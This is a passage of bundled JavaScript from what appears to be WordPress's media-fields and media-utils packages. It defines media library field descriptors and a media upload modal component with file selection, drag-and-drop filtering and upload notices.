17300 alt: (0, import_i18n54.__)("Author avatar"),
17301 src: imageUrl
17302 }
17303 )
17304 }
17305 ),
17306 !imageUrl && /* @__PURE__ */ (0, import_jsx_runtime102.jsx)("div", { className: "media-author-field__icon", children: /* @__PURE__ */ (0, import_jsx_runtime102.jsx)(import_components49.Icon, { icon: comment_author_avatar_default }) }),
17307 /* @__PURE__ */ (0, import_jsx_runtime102.jsx)("span", { className: "media-author-field__name", children: text })
17308 ] });
17309 }
17310
17311 // packages/media-fields/build-module/author/index.mjs
17312 var authorField = {
17313 label: (0, import_i18n55.__)("Author"),
17314 id: "author",
17315 type: "integer",
17316 getElements: async () => {
17317 const authors = await (0, import_data7.resolveSelect)(import_core_data2.store).getEntityRecords(
17318 "root",
17319 "user",
17320 {
17321 per_page: -1,
17322 who: "authors",
17323 _fields: "id,name",
17324 context: "view"
17325 }
17326 ) ?? [];
17327 return authors.map(({ id, name }) => ({
17328 value: id,
17329 label: name
17330 }));
17331 },
17332 render: AuthorView,
17333 sort: (a2, b2, direction) => {
17334 const nameA = a2._embedded?.author?.[0]?.name || "";
17335 const nameB = b2._embedded?.author?.[0]?.name || "";
17336 return direction === "asc" ? nameA.localeCompare(nameB) : nameB.localeCompare(nameA);
17337 },
17338 filterBy: {
17339 operators: ["isAny", "isNone"]
17340 },
17341 readOnly: true
17342 };
17343 var author_default = authorField;
17344
17345 // packages/media-fields/build-module/caption/index.mjs
17346 var import_i18n56 = __toESM(require_i18n(), 1);
17347 var import_components50 = __toESM(require_components(), 1);
17348
17349 // packages/media-fields/build-module/utils/get-raw-content.mjs
17350 function getRawContent(content) {
17351 if (!content) {
17352 return "";
17353 }
17354 if (typeof content === "string") {
17355 return content;
17356 }
17357 if (typeof content === "object" && "raw" in content) {
17358 return content.raw || "";
17359 }
17360 return "";
17361 }
17362
17363 // packages/media-fields/build-module/caption/index.mjs
17364 var import_jsx_runtime103 = __toESM(require_jsx_runtime(), 1);
17365 var captionField = {
17366 id: "caption",
17367 type: "text",
17368 label: (0, import_i18n56.__)("Caption"),
17369 getValue: ({ item }) => getRawContent(item?.caption),
17370 render: ({ item }) => getRawContent(item?.caption) || "-",
17371 Edit: ({ field, onChange, data }) => {
17372 return /* @__PURE__ */ (0, import_jsx_runtime103.jsx)(
17373 import_components50.TextareaControl,
17374 {
17375 label: field.label,
17376 value: getRawContent(data.caption) || "",
17377 onChange: (value) => onChange({ caption: value }),
17378 rows: 2
17379 }
17380 );
17381 },
17382 enableSorting: false,
17383 filterBy: false
17384 };
17385 var caption_default = captionField;
17386
17387 // packages/media-fields/build-module/date_added/index.mjs
17388 var import_i18n57 = __toESM(require_i18n(), 1);
17389 var import_date9 = __toESM(require_date(), 1);
17390 var dateAddedField = {
17391 id: "date",
17392 type: "datetime",
17393 label: (0, import_i18n57.__)("Date added"),
17394 filterBy: {
17395 operators: ["before", "after"]
17396 },
17397 format: {
17398 datetime: (0, import_date9.getSettings)().formats.datetimeAbbreviated
17399 },
17400 readOnly: true
17401 };
17402 var date_added_default = dateAddedField;
17403
17404 // packages/media-fields/build-module/date_modified/index.mjs
17405 var import_i18n58 = __toESM(require_i18n(), 1);
17406 var import_date10 = __toESM(require_date(), 1);
17407 var dateModifiedField = {
17408 id: "modified",
17409 type: "datetime",
17410 label: (0, import_i18n58.__)("Date modified"),
17411 filterBy: {
17412 operators: ["before", "after"]
17413 },
17414 format: {
17415 datetime: (0, import_date10.getSettings)().formats.datetimeAbbreviated
17416 },
17417 readOnly: true
17418 };
17419 var date_modified_default = dateModifiedField;
17420
17421 // packages/media-fields/build-module/description/index.mjs
17422 var import_i18n59 = __toESM(require_i18n(), 1);
17423 var import_components51 = __toESM(require_components(), 1);
17424 var import_jsx_runtime104 = __toESM(require_jsx_runtime(), 1);
17425 var descriptionField = {
17426 id: "description",
17427 type: "text",
17428 label: (0, import_i18n59.__)("Description"),
17429 getValue: ({ item }) => getRawContent(item?.description),
17430 render: ({ item }) => /* @__PURE__ */ (0, import_jsx_runtime104.jsx)("div", { children: getRawContent(item?.description) || "-" }),
17431 Edit: ({ field, onChange, data }) => {
17432 return /* @__PURE__ */ (0, import_jsx_runtime104.jsx)(
17433 import_components51.TextareaControl,
17434 {
17435 label: field.label,
17436 value: getRawContent(data.description) || "",
17437 onChange: (value) => onChange({ description: value }),
17438 rows: 5
17439 }
17440 );
17441 },
17442 enableSorting: false,
17443 filterBy: false
17444 };
17445 var description_default = descriptionField;
17446
17447 // packages/media-fields/build-module/filename/index.mjs
17448 var import_i18n60 = __toESM(require_i18n(), 1);
17449 var import_url4 = __toESM(require_url(), 1);
17450
17451 // packages/media-fields/build-module/filename/view.mjs
17452 var import_components52 = __toESM(require_components(), 1);
17453 var import_element58 = __toESM(require_element(), 1);
17454 var import_url3 = __toESM(require_url(), 1);
17455 var import_jsx_runtime105 = __toESM(require_jsx_runtime(), 1);
17456 var TRUNCATE_LENGTH = 15;
17457 function FileNameView({
17458 item
17459 }) {
17460 const fileName = (0, import_element58.useMemo)(
17461 () => item?.source_url ? (0, import_url3.getFilename)(item.source_url) : null,
17462 [item?.source_url]
17463 );
17464 if (!fileName) {
17465 return "";
17466 }
17467 return fileName.length > TRUNCATE_LENGTH ? /* @__PURE__ */ (0, import_jsx_runtime105.jsx)(import_components52.Tooltip, { text: fileName, children: /* @__PURE__ */ (0, import_jsx_runtime105.jsx)(import_components52.__experimentalTruncate, { limit: TRUNCATE_LENGTH, ellipsizeMode: "tail", children: fileName }) }) : /* @__PURE__ */ (0, import_jsx_runtime105.jsx)(import_jsx_runtime105.Fragment, { children: fileName });
17468 }
17469
17470 // packages/media-fields/build-module/filename/index.mjs
17471 var filenameField = {
17472 id: "filename",
17473 type: "text",
17474 label: (0, import_i18n60.__)("File name"),
17475 getValue: ({ item }) => (0, import_url4.getFilename)(item?.source_url || ""),
17476 render: FileNameView,
17477 enableSorting: false,
17478 filterBy: false,
17479 readOnly: true
17480 };
17481 var filename_default = filenameField;
17482
17483 // packages/media-fields/build-module/filesize/index.mjs
17484 var import_i18n61 = __toESM(require_i18n(), 1);
17485 var KB_IN_BYTES = 1024;
17486 var MB_IN_BYTES = 1024 * KB_IN_BYTES;
17487 var GB_IN_BYTES = 1024 * MB_IN_BYTES;
17488 var TB_IN_BYTES = 1024 * GB_IN_BYTES;
17489 var PB_IN_BYTES = 1024 * TB_IN_BYTES;
17490 var EB_IN_BYTES = 1024 * PB_IN_BYTES;
17491 var ZB_IN_BYTES = 1024 * EB_IN_BYTES;
17492 var YB_IN_BYTES = 1024 * ZB_IN_BYTES;
17493 function getBytesString(bytes, unitSymbol, decimals = 2) {
17494 return (0, import_i18n61.sprintf)(
17495 // translators: 1: Actual bytes of a file. 2: The unit symbol (e.g. MB).
17496 (0, import_i18n61._x)("%1$s %2$s", "file size"),
17497 bytes.toLocaleString(void 0, {
17498 minimumFractionDigits: 0,
17499 maximumFractionDigits: decimals
17500 }),
17501 unitSymbol
17502 );
17503 }
17504 function formatFileSize(bytes, decimals = 2) {
17505 if (bytes === 0) {
17506 return getBytesString(0, (0, import_i18n61._x)("B", "unit symbol"), decimals);
17507 }
17508 const quant = {
17509 /* translators: Unit symbol for yottabyte. */
17510 [(0, import_i18n61._x)("YB", "unit symbol")]: YB_IN_BYTES,
17511 /* translators: Unit symbol for zettabyte. */
17512 [(0, import_i18n61._x)("ZB", "unit symbol")]: ZB_IN_BYTES,
17513 /* translators: Unit symbol for exabyte. */
17514 [(0, import_i18n61._x)("EB", "unit symbol")]: EB_IN_BYTES,
17515 /* translators: Unit symbol for petabyte. */
17516 [(0, import_i18n61._x)("PB", "unit symbol")]: PB_IN_BYTES,
17517 /* translators: Unit symbol for terabyte. */
17518 [(0, import_i18n61._x)("TB", "unit symbol")]: TB_IN_BYTES,
17519 /* translators: Unit symbol for gigabyte. */
17520 [(0, import_i18n61._x)("GB", "unit symbol")]: GB_IN_BYTES,
17521 /* translators: Unit symbol for megabyte. */
17522 [(0, import_i18n61._x)("MB", "unit symbol")]: MB_IN_BYTES,
17523 /* translators: Unit symbol for kilobyte. */
17524 [(0, import_i18n61._x)("KB", "unit symbol")]: KB_IN_BYTES,
17525 /* translators: Unit symbol for byte. */
17526 [(0, import_i18n61._x)("B", "unit symbol")]: 1
17527 };
17528 for (const [unit, mag] of Object.entries(quant)) {
17529 if (bytes >= mag) {
17530 return getBytesString(bytes / mag, unit, decimals);
17531 }
17532 }
17533 return "";
17534 }
17535 var filesizeField = {
17536 id: "filesize",
17537 type: "text",
17538 label: (0, import_i18n61.__)("File size"),
17539 getValue: ({ item }) => item?.media_details?.filesize ? formatFileSize(item?.media_details?.filesize) : "",
17540 isVisible: (item) => {
17541 return !!item?.media_details?.filesize;
17542 },
17543 enableSorting: false,
17544 filterBy: false,
17545 readOnly: true
17546 };
17547 var filesize_default = filesizeField;
17548
17549 // packages/media-fields/build-module/media_dimensions/index.mjs
17550 var import_i18n62 = __toESM(require_i18n(), 1);
17551 var mediaDimensionsField = {
17552 id: "media_dimensions",
17553 type: "text",
17554 label: (0, import_i18n62.__)("Dimensions"),
17555 getValue: ({ item }) => item?.media_details?.width && item?.media_details?.height ? (0, import_i18n62.sprintf)(
17556 // translators: 1: Width. 2: Height.
17557 (0, import_i18n62._x)("%1$s \xD7 %2$s", "image dimensions"),
17558 item?.media_details?.width?.toString(),
17559 item?.media_details?.height?.toString()
17560 ) : "",
17561 isVisible: (item) => {
17562 return !!(item?.media_details?.width && item?.media_details?.height);
17563 },
17564 enableSorting: false,
17565 filterBy: false,
17566 readOnly: true
17567 };
17568 var media_dimensions_default = mediaDimensionsField;
17569
17570 // packages/media-fields/build-module/media_thumbnail/index.mjs
17571 var import_i18n64 = __toESM(require_i18n(), 1);
17572
17573 // packages/media-fields/build-module/media_thumbnail/view.mjs
17574 var import_data8 = __toESM(require_data(), 1);
17575 var import_core_data3 = __toESM(require_core_data(), 1);
17576 var import_components53 = __toESM(require_components(), 1);
17577 var import_element59 = __toESM(require_element(), 1);
17578 var import_url5 = __toESM(require_url(), 1);
17579
17580 // packages/media-fields/build-module/utils/get-media-type-from-mime-type.mjs
17581 var import_i18n63 = __toESM(require_i18n(), 1);
17582 function getMediaTypeFromMimeType(mimeType) {
17583 if (mimeType.startsWith("image/")) {
17584 return {
17585 type: "image",
17586 label: (0, import_i18n63.__)("Image"),
17587 icon: image_default
17588 };
17589 }
17590 if (mimeType.startsWith("video/")) {
17591 return {
17592 type: "video",
17593 label: (0, import_i18n63.__)("Video"),
17594 icon: video_default
17595 };
17596 }
17597 if (mimeType.startsWith("audio/")) {
17598 return {
17599 type: "audio",
17600 label: (0, import_i18n63.__)("Audio"),
17601 icon: audio_default
17602 };
17603 }
17604 return {
17605 type: "application",
17606 label: (0, import_i18n63.__)("Application"),
17607 icon: file_default
17608 };
17609 }
17610
17611 // packages/media-fields/build-module/media_thumbnail/view.mjs
17612 var import_jsx_runtime106 = __toESM(require_jsx_runtime(), 1);
17613 function FallbackView({
17614 item,
17615 filename
17616 }) {
17617 return /* @__PURE__ */ (0, import_jsx_runtime106.jsx)("div", { className: "dataviews-media-field__media-thumbnail", children: /* @__PURE__ */ (0, import_jsx_runtime106.jsxs)(
17618 import_components53.__experimentalVStack,
17619 {
17620 justify: "center",
17621 alignment: "center",
17622 className: "dataviews-media-field__media-thumbnail__stack",
17623 spacing: 0,
17624 children: [
17625 /* @__PURE__ */ (0, import_jsx_runtime106.jsx)(
17626 import_components53.Icon,
17627 {
17628 className: "dataviews-media-field__media-thumbnail--icon",
17629 icon: getMediaTypeFromMimeType(item.mime_type).icon,
17630 size: 24
17631 }
17632 ),
17633 !!filename && /* @__PURE__ */ (0, import_jsx_runtime106.jsx)("div", { className: "dataviews-media-field__media-thumbnail__filename", children: /* @__PURE__ */ (0, import_jsx_runtime106.jsx)(import_components53.__experimentalTruncate, { className: "dataviews-media-field__media-thumbnail__filename__truncate", children: filename }) })
17634 ]
17635 }
17636 ) });
17637 }
17638 function MediaThumbnailView({
17639 item,
17640 config
17641 }) {
17642 const [imageError, setImageError] = (0, import_element59.useState)(false);
17643 const _featuredMedia = (0, import_data8.useSelect)(
17644 (select) => {
17645 if (!item.featured_media) {
17646 return;
17647 }
17648 return select(import_core_data3.store).getEntityRecord(
17649 "postType",
17650 "attachment",
17651 item.featured_media
17652 );
17653 },
17654 [item.featured_media]
17655 );
17656 const featuredMedia = item.featured_media ? _featuredMedia : item;
17657 if (!featuredMedia) {
17658 return null;
17659 }
17660 const filename = (0, import_url5.getFilename)(featuredMedia.source_url || "");
17661 if (imageError || getMediaTypeFromMimeType(featuredMedia.mime_type).type !== "image") {
17662 return /* @__PURE__ */ (0, import_jsx_runtime106.jsx)(FallbackView, { item: featuredMedia, filename: filename || "" });
17663 }
17664 return /* @__PURE__ */ (0, import_jsx_runtime106.jsx)("div", { className: "dataviews-media-field__media-thumbnail", children: /* @__PURE__ */ (0, import_jsx_runtime106.jsx)(
17665 "img",
17666 {
17667 className: "dataviews-media-field__media-thumbnail--image",
17668 src: featuredMedia.source_url,
17669 srcSet: featuredMedia?.media_details?.sizes ? Object.values(
17670 featuredMedia.media_details.sizes
17671 ).map(
17672 (size) => `${size.source_url} ${size.width}w`
17673 ).join(", ") : void 0,
17674 sizes: config?.sizes || "100vw",
17675 alt: featuredMedia.alt_text || featuredMedia.title.raw,
17676 onError: () => setImageError(true)
17677 }
17678 ) });
17679 }
17680
17681 // packages/media-fields/build-module/media_thumbnail/index.mjs
17682 var mediaThumbnailField = {
17683 id: "media_thumbnail",
17684 type: "media",
17685 label: (0, import_i18n64.__)("Thumbnail"),
17686 render: MediaThumbnailView,
17687 enableSorting: false,
17688 filterBy: false
17689 };
17690 var media_thumbnail_default = mediaThumbnailField;
17691
17692 // packages/media-fields/build-module/mime_type/index.mjs
17693 var import_i18n65 = __toESM(require_i18n(), 1);
17694 var mimeTypeField = {
17695 id: "mime_type",
17696 type: "text",
17697 label: (0, import_i18n65.__)("File type"),
17698 getValue: ({ item }) => item?.mime_type || "",
17699 render: ({ item }) => item?.mime_type || "-",
17700 // Disable sorting until REST API support for ordering my `mime_type` is added.
17701 // See: https://core.trac.wordpress.org/ticket/64073
17702 enableSorting: false,
17703 filterBy: false,
17704 readOnly: true
17705 };
17706 var mime_type_default = mimeTypeField;
17707
17708 // packages/media-utils/build-module/components/media-upload-modal/index.mjs
17709 var import_notices = __toESM(require_notices(), 1);
17710 var import_blob2 = __toESM(require_blob(), 1);
17711
17712 // packages/media-utils/build-module/lock-unlock.mjs
17713 var import_private_apis2 = __toESM(require_private_apis(), 1);
17714 var { lock: lock2, unlock: unlock2 } = (0, import_private_apis2.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
17715 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
17716 "@wordpress/media-utils"
17717 );
17718
17719 // packages/media-utils/build-module/components/media-upload-modal/index.mjs
17720 var import_jsx_runtime107 = __toESM(require_jsx_runtime(), 1);
17721 var { useEntityRecordsWithPermissions } = unlock2(import_core_data4.privateApis);
17722 var LAYOUT_PICKER_GRID2 = "pickerGrid";
17723 var LAYOUT_PICKER_TABLE2 = "pickerTable";
17724 var NOTICES_CONTEXT = "media-modal";
17725 var NOTICE_ID_UPLOAD_PROGRESS = "media-modal-upload-progress";
17726 function MediaUploadModal({
17727 allowedTypes,
17728 multiple = false,
17729 value,
17730 onSelect,
17731 onClose,
17732 onUpload,
17733 title = (0, import_i18n66.__)("Select Media"),
17734 isOpen,
17735 isDismissible = true,
17736 modalClass,
17737 search = true,
17738 searchLabel = (0, import_i18n66.__)("Search media")
17739 }) {
17740 const [selection, setSelection] = (0, import_element60.useState)(() => {
17741 if (!value) {
17742 return [];
17743 }
17744 return Array.isArray(value) ? value.map(String) : [String(value)];
17745 });
17746 const { createSuccessNotice, createErrorNotice, createInfoNotice } = (0, import_data9.useDispatch)(import_notices.store);
17747 const { invalidateResolution } = (0, import_data9.useDispatch)(import_core_data4.store);
17748 const [view, setView] = (0, import_element60.useState)(() => ({
17749 type: LAYOUT_PICKER_GRID2,
17750 fields: [],
17751 showTitle: false,
17752 titleField: "title",
17753 mediaField: "media_thumbnail",
17754 search: "",
17755 page: 1,
17756 perPage: 20,
17757 filters: [],
17758 layout: {
17759 previewSize: 170
17760 }
17761 }));
17762 const queryArgs = (0, import_element60.useMemo)(() => {
17763 const filters = {};
17764 view.filters?.forEach((filter) => {
17765 if (filter.field === "media_type") {
17766 filters.media_type = filter.value;
17767 }
17768 if (filter.field === "author") {
17769 if (filter.operator === "isAny") {
17770 filters.author = filter.value;
17771 } else if (filter.operator === "isNone") {
17772 filters.author_exclude = filter.value;
17773 }
17774 }
17775 if (filter.field === "date" || filter.field === "modified") {
17776 if (filter.operator === "before") {
17777 filters.before = filter.value;
17778 } else if (filter.operator === "after") {
17779 filters.after = filter.value;
17780 }
17781 }
17782 if (filter.field === "mime_type") {
17783 filters.mime_type = filter.value;
17784 }
17785 });
17786 if (!filters.media_type) {
17787 filters.media_type = allowedTypes?.includes("*") ? void 0 : allowedTypes;
17788 }
17789 return {
17790 per_page: view.perPage || 20,
17791 page: view.page || 1,
17792 status: "inherit",
17793 order: view.sort?.direction,
17794 orderby: view.sort?.field,
17795 search: view.search,
17796 _embed: "author,wp:attached-to",
17797 ...filters
17798 };
17799 }, [view, allowedTypes]);
17800 const {
17801 records: mediaRecords,
17802 isResolving: isLoading,
17803 totalItems,
17804 totalPages
17805 } = useEntityRecordsWithPermissions("postType", "attachment", queryArgs);
17806 const fields = (0, import_element60.useMemo)(
17807 () => [
17808 // Media field definitions from @wordpress/media-fields
17809 // Cast is safe because RestAttachment has the same properties as Attachment
17810 {
17811 ...media_thumbnail_default,
17812 enableHiding: false
17813 // Within the modal, the thumbnail should always be shown.
17814 },
17815 {
17816 id: "title",
17817 type: "text",
17818 label: (0, import_i18n66.__)("Title"),
17819 getValue: ({ item }) => {
17820 const titleValue = item.title.raw || item.title.rendered;
17821 return titleValue || (0, import_i18n66.__)("(no title)");
17822 }
17823 },
17824 alt_text_default,
17825 caption_default,
17826 description_default,
17827 date_added_default,
17828 date_modified_default,
17829 author_default,
17830 filename_default,
17831 filesize_default,
17832 media_dimensions_default,
17833 mime_type_default,
17834 attached_to_default
17835 ],
17836 []
17837 );
17838 const actions = (0, import_element60.useMemo)(
17839 () => [
17840 {
17841 id: "select",
17842 label: multiple ? (0, import_i18n66.__)("Select") : (0, import_i18n66.__)("Select"),
17843 isPrimary: true,
17844 supportsBulk: multiple,
17845 async callback() {
17846 if (selection.length === 0) {
17847 return;
17848 }
17849 const selectedPostsQuery = {
17850 include: selection,
17851 per_page: -1
17852 };
17853 const selectedPosts = await (0, import_data9.resolveSelect)(
17854 import_core_data4.store
17855 ).getEntityRecords(
17856 "postType",
17857 "attachment",
17858 selectedPostsQuery
17859 );
17860 const transformedPosts = (selectedPosts ?? []).map(transformAttachment).filter(Boolean);
17861 const selectedItems = multiple ? transformedPosts : transformedPosts?.[0];
17862 onSelect(selectedItems);
17863 }
17864 }
17865 ],
17866 [multiple, onSelect, selection]
17867 );
17868 const handleModalClose = (0, import_element60.useCallback)(() => {
17869 onClose?.();
17870 }, [onClose]);
17871 const handleUpload = onUpload || uploadMedia;
17872 const handleUploadComplete = (0, import_element60.useCallback)(
17873 (attachments) => {
17874 const allComplete = attachments.every(
17875 (attachment) => attachment.id && attachment.url && !(0, import_blob2.isBlobURL)(attachment.url)
17876 );
17877 if (allComplete && attachments.length > 0) {
17878 createSuccessNotice(
17879 (0, import_i18n66.sprintf)(
17880 // translators: %s: number of files
17881 (0, import_i18n66._n)(
17882 "Uploaded %s file",
17883 "Uploaded %s files",
17884 attachments.length
17885 ),
17886 attachments.length.toLocaleString()
17887 ),
17888 {
17889 type: "snackbar",
17890 context: NOTICES_CONTEXT,
17891 id: NOTICE_ID_UPLOAD_PROGRESS
17892 }
17893 );
17894 const uploadedIds = attachments.map((attachment) => String(attachment.id)).filter(Boolean);
17895 if (multiple) {
17896 setSelection((prev) => [...prev, ...uploadedIds]);
17897 } else {
17898 setSelection(uploadedIds.slice(0, 1));
17899 }
17900 invalidateResolution("getEntityRecords", [
17901 "postType",
17902 "attachment",
17903 queryArgs
17904 ]);
17905 }
17906 },
17907 [createSuccessNotice, invalidateResolution, queryArgs, multiple]
17908 );
17909 const handleUploadError = (0, import_element60.useCallback)(
17910 (error) => {
17911 createErrorNotice(error.message, {
17912 type: "snackbar",
17913 context: NOTICES_CONTEXT,
17914 id: NOTICE_ID_UPLOAD_PROGRESS
17915 });
17916 },
17917 [createErrorNotice]
17918 );
17919 const handleFileSelect = (0, import_element60.useCallback)(
17920 (event) => {
17921 const files = event.target.files;
17922 if (files && files.length > 0) {
17923 const filesArray = Array.from(files);
17924 createInfoNotice(
17925 (0, import_i18n66.sprintf)(
17926 // translators: %s: number of files
17927 (0, import_i18n66._n)(
17928 "Uploading %s file",
17929 "Uploading %s files",
17930 filesArray.length
17931 ),
17932 filesArray.length.toLocaleString()
17933 ),
17934 {
17935 type: "snackbar",
17936 context: NOTICES_CONTEXT,
17937 id: NOTICE_ID_UPLOAD_PROGRESS,
17938 explicitDismiss: true
17939 }
17940 );
17941 handleUpload({
17942 allowedTypes,
17943 filesList: filesArray,
17944 onFileChange: handleUploadComplete,
17945 onError: handleUploadError
17946 });
17947 }
17948 },
17949 [
17950 allowedTypes,
17951 handleUpload,
17952 createInfoNotice,
17953 handleUploadComplete,
17954 handleUploadError
17955 ]
17956 );
17957 const paginationInfo = (0, import_element60.useMemo)(
17958 () => ({
17959 totalItems,
17960 totalPages
17961 }),
17962 [totalItems, totalPages]
17963 );
17964 const defaultLayouts = (0, import_element60.useMemo)(
17965 () => ({
17966 [LAYOUT_PICKER_GRID2]: {
17967 fields: [],
17968 showTitle: false
17969 },
17970 [LAYOUT_PICKER_TABLE2]: {
17971 fields: [
17972 "filename",
17973 "filesize",
17974 "media_dimensions",
17975 "author",
17976 "date"
17977 ],
17978 showTitle: true
17979 }
17980 }),
17981 []
17982 );
17983 const acceptTypes = (0, import_element60.useMemo)(() => {
17984 if (allowedTypes?.includes("*")) {
17985 return void 0;
17986 }
17987 return allowedTypes?.join(",");
17988 }, [allowedTypes]);
17989 if (!isOpen) {
17990 return null;
17991 }
17992 return /* @__PURE__ */ (0, import_jsx_runtime107.jsxs)(
17993 import_components54.Modal,
17994 {
17995 title,
17996 onRequestClose: handleModalClose,
17997 isDismissible,
17998 className: modalClass,
17999 overlayClassName: "media-upload-modal",
18000 size: "fill",
18001 headerActions: /* @__PURE__ */ (0, import_jsx_runtime107.jsx)(
18002 import_components54.FormFileUpload,
18003 {
18004 accept: acceptTypes,
18005 multiple: true,
18006 onChange: handleFileSelect,
18007 __next40pxDefaultSize: true,
18008 render: ({ openFileDialog }) => /* @__PURE__ */ (0, import_jsx_runtime107.jsx)(
18009 import_components54.Button,
18010 {
18011 onClick: openFileDialog,
18012 icon: upload_default,
18013 __next40pxDefaultSize: true,
18014 children: (0, import_i18n66.__)("Upload media")
18015 }
18016 )
18017 }
18018 ),
18019 children: [
18020 /* @__PURE__ */ (0, import_jsx_runtime107.jsx)(
18021 import_components54.DropZone,
18022 {
18023 onFilesDrop: (files) => {
18024 let filteredFiles = files;
18025 if (allowedTypes && !allowedTypes.includes("*")) {
18026 filteredFiles = files.filter(
18027 (file) => allowedTypes.some((allowedType) => {
18028 return file.type === allowedType || file.type.startsWith(
18029 allowedType.replace("*", "")
18030 );
18031 })
18032 );
18033 }
18034 if (filteredFiles.length > 0) {
18035 createInfoNotice(
18036 (0, import_i18n66.sprintf)(
18037 // translators: %s: number of files
18038 (0, import_i18n66._n)(
18039 "Uploading %s file",
18040 "Uploading %s files",
18041 filteredFiles.length
18042 ),
18043 filteredFiles.length.toLocaleString()
18044 ),
18045 {
18046 type: "snackbar",
18047 context: NOTICES_CONTEXT,
18048 id: NOTICE_ID_UPLOAD_PROGRESS,
18049 explicitDismiss: true
18050 }
18051 );
18052 handleUpload({
18053 allowedTypes,
18054 filesList: filteredFiles,
18055 onFileChange: handleUploadComplete,
18056 onError: handleUploadError
18057 });
18058 }
18059 },
18060 label: (0, import_i18n66.__)("Drop files to upload")
18061 }
18062 ),
18063 /* @__PURE__ */ (0, import_jsx_runtime107.jsx)(
18064 dataviews_picker_default,
18065 {
18066 data: mediaRecords || [],
18067 fields,
18068 view,
18069 onChangeView: setView,
18070 actions,
18071 selection,
18072 onChangeSelection: setSelection,
18073 isLoading,
18074 paginationInfo,
18075 defaultLayouts,
18076 getItemId: (item) => String(item.id),
18077 search,
18078 searchLabel,
18079 itemListLabel: (0, import_i18n66.__)("Media items")
18080 }
18081 ),
18082 /* @__PURE__ */ (0, import_jsx_runtime107.jsx)(
18083 import_notices.SnackbarNotices,
18084 {
18085 className: "media-upload-modal__snackbar",
18086 context: NOTICES_CONTEXT
18087 }
18088 )
18089 ]
18090 }
18091 );
18092 }
18093
18094 // packages/media-utils/build-module/private-apis.mjs
18095 var privateApis12 = {};
18096 lock2(privateApis12, {
18097 sideloadMedia,
18098 MediaUploadModal
18099 });
18100 return __toCommonJS(index_exports);
18101})();
18102/*! Bundled license information:
18103
18104use-sync-external-store/cjs/use-sync-external-store-shim.development.js:
18105 (**
18106 * @license React
18107 * use-sync-external-store-shim.development.js
18108 *
18109 * Copyright (c) Meta Platforms, Inc. and affiliates.
18110 *
18111 * This source code is licensed under the MIT license found in the
18112 * LICENSE file in the root directory of this source tree.
18113 *)
18114*/
18115